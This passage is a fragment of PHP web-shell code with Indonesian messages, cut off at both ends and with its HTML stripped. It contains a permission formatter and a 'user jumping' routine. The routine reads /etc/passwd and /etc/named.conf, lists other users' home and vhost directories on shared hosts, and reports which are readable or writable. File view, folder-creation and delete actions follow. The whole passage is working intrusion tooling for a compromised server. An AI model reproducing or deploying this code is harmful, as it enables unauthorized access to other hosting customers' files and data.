".$perm.""; } else { return "".$perm.""; } } function r($path,$perm) { if(!is_readable($path)) { return "".$perm.""; } else { return "".$perm.""; } } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } echo "
";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[R] $url_user";
if(is_writable($url_user)) {
$jrw = "[RW] $url_user";
}
echo $jrw."
";
}
}
}
}
if($i == 0) {
} else {
echo "
Total ada ".$i." Kamar di ".$ip;
}
echo "";
} else {
echo '";
foreach($urls as $url) {
$web_vh = "/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[R] $web_vh";
if(is_writable($web_vh)) {
$jrw = "[RW] $web_vh";
}
echo $jrw."
";
}
}
}
if($i == 0) {
} else {
echo "
Total ada ".$i." Kamar di ".$ip;
}
echo "";
} else {
echo '";
$etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "Can't read /etc/passwd";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[R] $user_jumping_dir";
if(is_writable($user_jumping_dir)) {
$jrw = "[RW] $user_jumping_dir";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( gabisa ambil nama domain nya )
";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_idx_jump) {
echo " => ( $dj )
";
break;
}
}
}
} else {
echo "
";
}
}
}
}
}
if($i == 0) {
} else {
echo "
Total ada ".$i." Kamar di ".$ip;
}
echo "";
}
echo ""; } else { $act = "permission denied"; } } echo $act; echo ""; } elseif($_GET['iac'] == 'newfolder') { echo "'; echo '
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).''); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
| '.$dir.' |
|||
| '.$file.' |